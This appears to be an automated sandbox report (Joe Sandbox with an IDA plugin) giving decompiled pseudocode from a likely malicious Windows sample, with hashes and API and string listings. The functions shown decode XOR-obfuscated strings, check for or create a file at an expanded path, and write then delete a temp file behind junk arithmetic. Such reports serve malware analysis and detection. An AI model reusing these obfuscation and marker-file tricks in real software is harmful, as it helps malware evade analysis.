Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExpandHandleStringsWrite
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z${
API String ID: 4155862527-1073058172
Opcode ID: beae2974b0f1b608c4c3187d6144c5520186715fa0b1d0d6ffb6fd1f65d552f4
Instruction ID: 592c0b65f4509a6d319d030867795f2a1327d025cc7f80ee493d14d8d32339bf
Opcode Fuzzy Hash: beae2974b0f1b608c4c3187d6144c5520186715fa0b1d0d6ffb6fd1f65d552f4
Instruction Fuzzy Hash: 3F31232014D3C1D9D312D7689848B8FBFD45BA7318F488A5DF1D85A2D2C3B9824DC767

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 80
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401000() {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				intOrPtr _t44;
				void* _t46;
				void* _t49;
				void* _t51;
				char* _t63;

				_t63 =  &_v304;
				_t44 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t44;
				_v288 = 0x87;
				_v268 = 0x87;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x9c;
				_t46 = 0;
				do {
					_t63[_t46] = _t63[_t46] ^ _t63[_t46 + 0x14];
					_t46 = _t46 + 1;
				} while (_t46 < 0x11);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t49 = CreateFileA( &_v264, 0x80000000, 0, 0, 3, 0, 0);
				if(_t49 != 0xffffffff) {
					CloseHandle(_t49);
					_t51 = 1;
					return E00424873(_t51, _v4);
				} else {
					return E00424873(0, _v4);
				}
			}

0x00401000
0x00401006
0x0040100b
0x00401016
0x0040101a
0x0040101e
0x00401022
0x00401027
0x0040102c
0x00401031
0x00401036
0x0040103a
0x0040103f
0x00401044
0x00401049
0x0040104e
0x00401053
0x00401058
0x0040105d
0x00401062
0x00401067
0x0040106c
0x00401071
0x00401076
0x0040107b
0x0040107f
0x00401084
0x00401089
0x0040108e
0x00401093
0x00401098
0x0040109d
0x004010a2
0x004010a7
0x004010ac
0x004010b1
0x004010b6
0x004010bb
0x004010c0
0x004010c9
0x004010cc
0x004010cd
0x004010e1
0x004010fb
0x00401104
0x0040111c
0x0040112d
0x00401139
0x00401106
0x0040111a
0x0040111a

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004010E1
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004010FB
CloseHandle.KERNEL32(00000000), ref: 0040111C

Strings

4, xrefs: 00401044
Y, xrefs: 00401027
:, xrefs: 00401022
h, xrefs: 00401093
', xrefs: 0040103F
0, xrefs: 0040105D
t, xrefs: 004010A7
F, xrefs: 004010AC
<, xrefs: 0040107F
^, xrefs: 0040106C
m, xrefs: 00401071
x, xrefs: 00401031
z, xrefs: 00401053

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: 099f8a23e6673c5a0a20473a4a2c3f5e7beecccb622f87ee8f566c8b629371bf
Instruction ID: b5ac386b20b2bd8f6ead6ec55a14ae73764471c4ef5910718b3a2dcbc9e0b04f
Opcode Fuzzy Hash: 099f8a23e6673c5a0a20473a4a2c3f5e7beecccb622f87ee8f566c8b629371bf
Instruction Fuzzy Hash: EE310B2010C3C199E322DB38985974FBFD11BA7318F588A9DF1E95B2D2C2B99249C767

Uniqueness

Uniqueness Score: -1.00%

Function 004016F0, Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 80
fileCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E004016F0() {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				intOrPtr _t44;
				void* _t46;
				void* _t49;
				char* _t64;

				_t64 =  &_v304;
				_t44 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t44;
				_v288 = 0x87;
				_v268 = 0x87;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x95;
				_t46 = 0;
				do {
					_t64[_t46] = _t64[_t46] ^ _t64[_t46 + 0x14];
					_t46 = _t46 + 1;
				} while (_t46 < 0x11);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				_t49 = CreateFileA( &_v264, 0x80000000, 0, 0, 3, 0, 0);
				if(_t49 != 0xffffffff) {
					CloseHandle(_t49);
					asm("pushfd");
					asm("popfd");
					return E00424873(1, _v4);
				} else {
					return E00424873(0, _v4);
				}
			}

0x004016f0
0x004016f6
0x004016fb
0x00401706
0x0040170a
0x0040170e
0x00401712
0x00401717
0x0040171c
0x00401721
0x00401726
0x0040172a
0x0040172f
0x00401734
0x00401739
0x0040173e
0x00401743
0x00401748
0x0040174d
0x00401752
0x00401757
0x0040175c
0x00401761
0x00401766
0x0040176b
0x0040176f
0x00401774
0x00401779
0x0040177e
0x00401783
0x00401788
0x0040178d
0x00401792
0x00401797
0x0040179c
0x004017a1
0x004017a6
0x004017ab
0x004017b0
0x004017b9
0x004017bc
0x004017bd
0x004017d1
0x004017eb
0x004017f4
0x0040180c
0x00401819
0x0040181d
0x00401829
0x004017f6
0x0040180a
0x0040180a

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004017D1
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004017EB
CloseHandle.KERNEL32(00000000), ref: 0040180C

Strings

t, xrefs: 00401797
4, xrefs: 00401734
', xrefs: 0040172F
^, xrefs: 0040175C
z, xrefs: 00401743
Y, xrefs: 00401717
F, xrefs: 0040179C
m, xrefs: 00401761
h, xrefs: 00401783
<, xrefs: 0040176F
x, xrefs: 00401721
:, xrefs: 00401712
0, xrefs: 0040174D

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: 945935cd95df3bbfc15389c37e71cd9e82093bf3a5c477cd2b90e73a3d645b99
Instruction ID: 436772a42751bf9b7c4f5ae18bda9d8f765e866a27b75cc4b88cf4ae0e13085f
Opcode Fuzzy Hash: 945935cd95df3bbfc15389c37e71cd9e82093bf3a5c477cd2b90e73a3d645b99
Instruction Fuzzy Hash: C2310C2110C3C1D9E322D738984875FBFD15BA7318F588A9DF1E95A2D2C2B98209C767

Uniqueness

Uniqueness Score: -1.00%

Function 00401140, Relevance: 28.1, APIs: 3, Strings: 13, Instructions: 69
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401140() {
				intOrPtr _v4;
				char _v264;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				intOrPtr _t43;
				void* _t45;
				char* _t58;

				_t58 =  &_v304;
				_t43 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t43;
				_v288 = 0x87;
				_v268 = 0x87;
				_v304 = 0x7b;
				_v303 = 0x3a;
				_v302 = 0x59;
				_v301 = 0xfe;
				_v300 = 0x78;
				_v299 = 0xb0;
				_v298 = 0xb1;
				_v297 = 0x27;
				_v296 = 0x34;
				_v295 = 0xf8;
				_v294 = 0x7f;
				_v293 = 0x7a;
				_v292 = 6;
				_v291 = 0x30;
				_v290 = 0xcb;
				_v289 = 0xef;
				_v284 = 0x5e;
				_v283 = 0x6d;
				_v282 = 0x10;
				_v281 = 0xb0;
				_v280 = 0x3c;
				_v279 = 0xf9;
				_v278 = 0xe3;
				_v277 = 2;
				_v276 = 0x68;
				_v275 = 0x8c;
				_v274 = 0xc;
				_v273 = 0x1f;
				_v272 = 0x74;
				_v271 = 0x46;
				_v270 = 0xe5;
				_v269 = 0x9c;
				_t45 = 0;
				do {
					_t58[_t45] = _t58[_t45] ^ _t58[_t45 + 0x14];
					_t45 = _t45 + 1;
				} while (_t45 < 0x11);
				ExpandEnvironmentStringsA( &_v304,  &_v264, 0x104);
				return E00424873(CloseHandle(CreateFileA( &_v264, 0x40000000, 0, 0, 2, 0, 0)), _v4);
			}

0x00401140
0x00401146
0x0040114b
0x00401156
0x0040115a
0x0040115e
0x00401162
0x00401167
0x0040116c
0x00401171
0x00401176
0x0040117a
0x0040117f
0x00401184
0x00401189
0x0040118e
0x00401193
0x00401198
0x0040119d
0x004011a2
0x004011a7
0x004011ac
0x004011b1
0x004011b6
0x004011bb
0x004011bf
0x004011c4
0x004011c9
0x004011ce
0x004011d3
0x004011d8
0x004011dd
0x004011e2
0x004011e7
0x004011ec
0x004011f1
0x004011f6
0x004011fb
0x00401200
0x00401209
0x0040120c
0x0040120d
0x00401221
0x0040125a

APIs

ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 00401221
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040123B
CloseHandle.KERNEL32(00000000), ref: 00401242

Strings

^, xrefs: 004011AC
', xrefs: 0040117F
z, xrefs: 00401193
0, xrefs: 0040119D
x, xrefs: 00401171
m, xrefs: 004011B1
t, xrefs: 004011E7
:, xrefs: 00401162
h, xrefs: 004011D3
4, xrefs: 00401184
F, xrefs: 004011EC
Y, xrefs: 00401167
<, xrefs: 004011BF

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseCreateEnvironmentExpandFileHandleStrings
String ID: '$0$4$:$<$F$Y$^$h$m$t$x$z
API String ID: 1403605771-759814561
Opcode ID: eae75d6211b48766a2a4855af57f21a379476b10d3c7f040af184a083788c328
Instruction ID: 183227d0d47840c6fb137b2e72691f3ad759e2d74dad290b7fbfcb0fd45e1397
Opcode Fuzzy Hash: eae75d6211b48766a2a4855af57f21a379476b10d3c7f040af184a083788c328
Instruction Fuzzy Hash: B631DC2010C3C1D9E322D738984974FBFD11BA7218F588A9DF1E95A2D2C2B99249C767

Uniqueness

Uniqueness Score: -1.00%

Function 00419AC0, Relevance: 26.7, APIs: 5, Strings: 10, Instructions: 473
synchronizationfileCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00419AC0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t164;
				int _t166;
				signed int _t178;
				intOrPtr _t180;
				intOrPtr* _t190;
				signed int _t197;
				intOrPtr* _t200;
				intOrPtr* _t248;
				intOrPtr* _t249;
				intOrPtr* _t250;
				signed int _t252;
				intOrPtr _t255;
				intOrPtr _t256;
				intOrPtr _t257;
				signed int _t260;
				signed char _t264;
				signed char _t266;
				unsigned int _t271;
				signed int _t272;
				intOrPtr* _t281;
				signed char _t282;
				signed char _t284;
				signed char _t288;
				signed int _t290;
				signed char _t292;
				void* _t294;
				signed char _t296;
				signed char _t297;
				signed int _t299;
				signed char _t301;
				void* _t306;
				signed char _t319;
				signed char _t327;
				void* _t330;
				signed char _t337;
				signed char _t338;
				signed int _t355;
				signed int _t368;
				void* _t373;
				intOrPtr _t376;
				void* _t378;
				signed short _t379;
				intOrPtr* _t380;
				intOrPtr* _t381;
				intOrPtr _t382;
				intOrPtr* _t383;
				signed int _t384;
				signed int _t387;
				intOrPtr* _t388;
				intOrPtr* _t389;
				intOrPtr* _t390;
				void* _t391;
				signed int _t393;
				void* _t395;
				void* _t397;
				void* _t398;
				void* _t400;
				void* _t401;
				void* _t403;
				void* _t404;
				void* _t405;
				void* _t406;
				void* _t407;

				_t386 = __esi;
				_t164 =  *0x4310d8; // 0xd0c2a9a8
				_t400 = __ecx;
				_t271 =  *(_t401 + 0x248);
				_t330 = _t271;
				_t373 =  *(_t401 + 0x248);
				 *((intOrPtr*)(_t401 + 0x240)) = _t164;
				_t272 = _t271 >> 2;
				_t166 = memset(_t373, 0, _t272 << 2);
				_push(_t330);
				memset(_t373 + _t272, _t166, 0 << 0);
				_t403 = _t401 + 0x18;
				GetTempPathA(0x104, _t403 + 0x13c);
				GetTempFileNameA(_t403 + 0x148, 0x42e290, 0, _t403 + 0x38);
				_push(E004259AD(_t403 + 0x38, "wt"));
				_pop(_t376);
				_t404 = _t403 + 8;
				_t408 = _t376;
				 *((intOrPtr*)(_t404 + 0xc)) = _t376;
				if(_t376 != 0) {
					_push(__esi);
					WaitForSingleObject( *(_t400 + 0x24), 0xffffffff);
					 *((char*)(_t404 + 0x34)) = 0x5a;
					 *((char*)(_t404 + 0x35)) = 0x9c;
					 *((char*)(_t404 + 0x36)) = 0x50;
					 *((char*)(_t404 + 0x37)) = 0xe5;
					 *((char*)(_t404 + 0x38)) = 0x74;
					 *((char*)(_t404 + 0x1c)) = 0x93;
					 *((char*)(_t404 + 0x1d)) = 0xe1;
					 *((char*)(_t404 + 0x1e)) = 0x84;
					 *((char*)(_t404 + 0x1f)) = 0xf7;
					 *((char*)(_t404 + 0x20)) = 0xca;
					_push(E00419690(_t404 + 0x1c, 5, _t404 + 0x30));
					_push(_t376);
					E004258F3(__esi, _t408);
					_t178 =  *0x431e5c; // 0x0
					_t281 =  *((intOrPtr*)(_t400 + 4));
					_t180 =  *_t281;
					_t405 = _t404 + 8;
					_t264 = _t178 * 0x00000058 | 0x00000010;
					_t409 = _t180 - _t281;
					 *((intOrPtr*)(_t405 + 0x18)) = _t180;
					if(_t180 != _t281) {
						_t264 = 0;
						do {
							_push( *((intOrPtr*)(_t180 + 0x10)));
							_push( *((intOrPtr*)(_t180 + 0xc)));
							_push("%d:%d,");
							_push(_t376);
							E004258F3(__esi, _t409);
							_t327 =  *0x431e58; // 0x0
							_t368 =  *0x431e5c; // 0x0
							_t260 =  *0x431e64; // 0x0
							 *0x431e60 = _t327 | 0x00000047;
							_t405 = _t405 + 0x10;
							 *0x431e64 = _t368 + 0x00000010 & _t260 | 0x00000052;
							 *0x431e58 = 0x47;
							E004198E0(_t405 + 0x18);
							_t180 =  *((intOrPtr*)(_t405 + 0x18));
							_t410 = _t180 -  *((intOrPtr*)(_t400 + 4));
						} while (_t180 !=  *((intOrPtr*)(_t400 + 4)));
					}
					 *((char*)(_t405 + 0x3d)) = 0x91;
					 *((char*)(_t405 + 0x20)) = 0x91;
					_push(6);
					_push(_t405 + 0x38);
					 *((char*)(_t405 + 0x40)) = 0x13;
					 *((char*)(_t405 + 0x41)) = 0x85;
					 *((char*)(_t405 + 0x42)) = 0xb6;
					 *((char*)(_t405 + 0x43)) = 0x41;
					 *((char*)(_t405 + 0x44)) = 0x75;
					 *((char*)(_t405 + 0x29)) = 0x48;
					 *((char*)(_t405 + 0x2a)) = 0x37;
					 *((char*)(_t405 + 0x2b)) = 0xc4;
					 *((char*)(_t405 + 0x2c)) = 0xf6;
					 *((char*)(_t405 + 0x2d)) = 0x35;
					_push(E00419760(_t405 + 0x28));
					_push(_t376);
					E004258F3(_t386, _t410);
					_t387 =  *0x431e5c; // 0x0
					 *(_t405 + 0x28) = ( *0x431e60 & 0x000000ff) << 0x00000002 & _t387 | 0x00000010;
					_t190 =  *((intOrPtr*)(_t400 + 0x10));
					_t388 =  *_t190;
					_t406 = _t405 + 0x10;
					_t411 = _t388 - _t190;
					if(_t388 != _t190) {
						do {
							_push( *((intOrPtr*)(_t388 + 0x10)));
							_push( *((intOrPtr*)(_t388 + 0xc)));
							_push("%d:%d,");
							_push(_t376);
							E004258F3(_t388, _t411);
							_t252 =  *0x431e60; // 0x0
							_t319 =  *0x431e5c; // 0x0
							 *0x431e64 = 0xa;
							_t406 = _t406 + 0x10;
							_t264 = _t319 ^ _t264 | _t252 * 0x00000058;
							if( *((intOrPtr*)(_t388 + 0x15)) == 0) {
								_t255 =  *((intOrPtr*)(_t388 + 8));
								if( *((intOrPtr*)(_t255 + 0x15)) != 0) {
									_t256 =  *((intOrPtr*)(_t388 + 4));
									__eflags =  *((intOrPtr*)(_t256 + 0x15));
									if(__eflags == 0) {
										while(1) {
											__eflags = _t388 -  *((intOrPtr*)(_t256 + 8));
											if(__eflags != 0) {
												goto L13;
											}
											_t388 = _t256;
											_t256 =  *((intOrPtr*)(_t256 + 4));
											__eflags =  *((intOrPtr*)(_t256 + 0x15));
											if(__eflags == 0) {
												continue;
											}
											goto L13;
										}
									}
									L13:
									_t388 = _t256;
								} else {
									_t388 = _t255;
									_t257 =  *_t388;
									while( *((intOrPtr*)(_t257 + 0x15)) == 0) {
										_t388 = _t257;
										_t257 =  *_t388;
									}
								}
							}
							_t416 = _t388 -  *((intOrPtr*)(_t400 + 0x10));
						} while (_t388 !=  *((intOrPtr*)(_t400 + 0x10)));
					}
					 *((char*)(_t406 + 0x2c)) = 0x53;
					 *((char*)(_t406 + 0x20)) = 0x53;
					_push(5);
					_push(_t406 + 0x28);
					 *((char*)(_t406 + 0x30)) = 0x29;
					 *((char*)(_t406 + 0x31)) = 0xe3;
					 *((char*)(_t406 + 0x32)) = 0xcf;
					 *((char*)(_t406 + 0x33)) = 0xa3;
					 *((char*)(_t406 + 0x29)) = 0x9e;
					 *((char*)(_t406 + 0x2a)) = 0xa1;
					 *((char*)(_t406 + 0x2b)) = 0x94;
					 *((char*)(_t406 + 0x2c)) = 0xf;
					_push(E00419760(_t406 + 0x28));
					_push(_t376);
					E004258F3(_t388, _t416);
					_t282 =  *0x431e58; // 0x0
					_t197 =  *0x431e5c; // 0x0
					_t337 =  *0x431e60; // 0x0
					_t284 = _t282 -  *((intOrPtr*)(_t406 + 0x28)) ^ _t197 * 0x00000022;
					_t378 = 0x15;
					_t338 = _t337 + 0x45;
					 *0x431e58 = _t284;
					 *0x431e60 = _t338;
					_t407 = _t406 + 0x10;
					_t379 = _t378 - _t264;
					 *0x431e64 = _t379;
					_t200 =  *((intOrPtr*)(_t400 + 0x1c));
					_t389 =  *_t200;
					_t417 = _t389 - _t200;
					if(_t389 != _t200) {
						while(1) {
							 *0x431e60 = (_t264 * 0x00000022 >> 0x00000020) - _t284 ^ _t264 * 0x00000022;
							_t384 =  *0x431e5c; // 0x0
							 *0x431e5c = _t384 | _t379 << 0x00000002 & _t284 & 0x000000ff;
							_push( *((intOrPtr*)(_t389 + 0x10)));
							_push( *((intOrPtr*)(_t389 + 0xc)));
							_push("%d:%d,");
							_push( *((intOrPtr*)(_t407 + 0x14)));
							_t264 = 0;
							E004258F3(_t389, _t417);
							_t407 = _t407 + 0x10;
							if( *((intOrPtr*)(_t389 + 0x15)) != 0) {
								goto L27;
							}
							_t248 =  *((intOrPtr*)(_t389 + 8));
							if( *((intOrPtr*)(_t248 + 0x15)) != 0) {
								_t249 =  *((intOrPtr*)(_t389 + 4));
								__eflags =  *((intOrPtr*)(_t249 + 0x15));
								if(__eflags == 0) {
									while(1) {
										__eflags = _t389 -  *((intOrPtr*)(_t249 + 8));
										if(__eflags != 0) {
											goto L26;
										}
										_t389 = _t249;
										_t249 =  *((intOrPtr*)(_t249 + 4));
										__eflags =  *((intOrPtr*)(_t249 + 0x15));
										if(__eflags == 0) {
											continue;
										}
										goto L26;
									}
								}
								L26:
								_t389 = _t249;
							} else {
								_t389 = _t248;
								_t250 =  *_t389;
								while( *((intOrPtr*)(_t250 + 0x15)) == 0) {
									_t389 = _t250;
									_t250 =  *_t389;
								}
							}
							L27:
							_t338 =  *0x431e60; // 0x0
							_t284 =  *0x431e58; // 0x0
							if(_t389 !=  *((intOrPtr*)(_t400 + 0x1c))) {
								_t379 =  *0x431e64; // 0x0
								continue;
							}
							goto L28;
						}
					}
					L28:
					 *0x431e5c =  *0x431e5c | (_t284 & 0x000000ff) << 0x00000002 & _t338 & 0x000000ff;
					 *0x431e64 = 0xa;
					_t380 =  *((intOrPtr*)( *((intOrPtr*)(_t400 + 4)) + 4));
					_t390 = _t380;
					if( *((intOrPtr*)(_t380 + 0x15)) == 0) {
						do {
							E00419A00(_t400,  *((intOrPtr*)(_t390 + 8)));
							_t390 =  *_t390;
							_push(_t380);
							L00424BCD();
							_t407 = _t407 + 4;
							_t380 = _t390;
						} while ( *((intOrPtr*)(_t390 + 0x15)) == 0);
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t400 + 4)) + 4)) =  *((intOrPtr*)(_t400 + 4));
					 *(_t400 + 8) = 0;
					 *((intOrPtr*)( *((intOrPtr*)(_t400 + 4)))) =  *((intOrPtr*)(_t400 + 4));
					 *((intOrPtr*)( *((intOrPtr*)(_t400 + 4)) + 8)) =  *((intOrPtr*)(_t400 + 4));
					_t288 =  *0x431e58; // 0x0
					 *0x431e58 = _t288 + 0x9c;
					_t381 =  *((intOrPtr*)( *((intOrPtr*)(_t400 + 0x10)) + 4));
					_t391 = _t400 + 0xc;
					_t266 = ( *0x431e60 & 0x000000ff) + 0x10;
					 *((intOrPtr*)(_t407 + 0x18)) = _t381;
					while( *((intOrPtr*)(_t381 + 0x15)) == 0) {
						E00419A00(_t391,  *((intOrPtr*)(_t381 + 8)));
						_t381 =  *_t381;
						_push( *((intOrPtr*)(_t407 + 0x18)));
						L00424BCD();
						_t407 = _t407 + 4;
						 *((intOrPtr*)(_t407 + 0x18)) = _t381;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t391 + 4)) + 4)) =  *((intOrPtr*)(_t391 + 4));
					 *(_t391 + 8) = 0;
					 *((intOrPtr*)( *((intOrPtr*)(_t391 + 4)))) =  *((intOrPtr*)(_t391 + 4));
					 *((intOrPtr*)( *((intOrPtr*)(_t391 + 4)) + 8)) =  *((intOrPtr*)(_t391 + 4));
					_t290 =  *0x431e64; // 0x0
					_t393 =  *0x431e5c; // 0x0
					 *0x431e5c = _t393 | ( *0x431e58 & 0x000000ff) << 0x00000002 &  *0x431e60 & 0x000000ff;
					 *0x431e64 = _t290 * 0x64;
					_t382 =  *((intOrPtr*)( *((intOrPtr*)(_t400 + 0x1c)) + 4));
					_t395 = _t400 + 0x18;
					 *(_t407 + 0x13) = _t266 ^ 0x0000001d;
					 *((intOrPtr*)(_t407 + 0x18)) = _t382;
					if( *((intOrPtr*)(_t382 + 0x15)) == 0) {
						_t383 = _t382;
						do {
							_push( *((intOrPtr*)(_t383 + 8)));
							_t306 = _t395;
							E00419A00(_t306);
							_t383 =  *_t383;
							_push( *((intOrPtr*)(_t407 + 0x18)));
							L00424BCD();
							_t407 = _t407 + 4;
							_t428 =  *((intOrPtr*)(_t383 + 0x15));
							 *((intOrPtr*)(_t407 + 0x18)) = _t383;
						} while ( *((intOrPtr*)(_t383 + 0x15)) == 0);
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t395 + 4)) + 4)) =  *((intOrPtr*)(_t395 + 4));
					 *(_t395 + 8) = 0;
					 *((intOrPtr*)( *((intOrPtr*)(_t395 + 4)))) =  *((intOrPtr*)(_t395 + 4));
					 *((intOrPtr*)( *((intOrPtr*)(_t395 + 4)) + 8)) =  *((intOrPtr*)(_t395 + 4));
					ReleaseMutex( *(_t400 + 0x24));
					_t292 =  *0x431e60; // 0x0
					 *0x431e60 = _t292 &  *(_t407 + 0x13);
					_t294 = 0x15;
					_push( *((intOrPtr*)(_t407 + 0x14)));
					 *0x431e58 = 0x47;
					 *0x431e64 = _t294 - _t266;
					E004258A2(_t266, _t382,  *((intOrPtr*)(_t395 + 4)), _t428);
					_push(E004259AD(_t407 + 0x44, "rt"));
					_pop(_t397);
					_t404 = _t407 + 0xc;
					_t398 = _t397;
					_t429 = _t398;
					 *0x431e5c = 0x52;
					if(_t398 != 0) {
						_t301 =  *0x431e60; // 0x0
						 *0x431e58 =  *0x431e58 & 0x000000aa;
						 *0x431e64 =  *0x431e64 +  *((char*)(_t404 + 0x13));
						 *0x431e60 = _t301 -  *((intOrPtr*)(_t404 + 0x13)) ^ _t266 * 0x00000022;
						_push(_t398);
						_push( *((intOrPtr*)(_t404 + 0x254)) - 1);
						_push(1);
						_push( *((intOrPtr*)(_t404 + 0x250)));
						E0042580A(_t266,  *((intOrPtr*)(_t404 + 0x250)), _t382, _t398, _t429);
						_t355 =  *0x431e5c; // 0x0
						_push(_t398);
						_t266 = _t266 + 0x64;
						 *0x431e5c = _t355 & 0x00000064;
						E004258A2(_t266, _t382, _t398, _t266);
						_t404 = _t404 + 0x14;
					}
					_t296 =  *0x431e60; // 0x0
					_t297 = _t296 ^ 0x000000fd;
					 *0x431e60 = _t297;
					_t299 =  *0x431e5c; // 0x0
					 *0x431e58 = _t266 * 0x00000022 >> 0x00000020 ^ _t266 * 0x00000022;
					 *0x431e5c = _t299 |  *0x431e64 << 0x00000002 & _t297 & 0x000000ff;
					_t172 = DeleteFileA(_t404 + 0x40);
				}
				return E00424873(_t172,  *((intOrPtr*)(_t404 + 0x240)));
			}

0x00419ac0
0x00419ac6
0x00419acc
0x00419ace
0x00419ad6
0x00419ad8
0x00419adf
0x00419ae6
0x00419aeb
0x00419aed
0x00419af2
0x00419af2
0x00419b01
0x00419b1b
0x00419b30
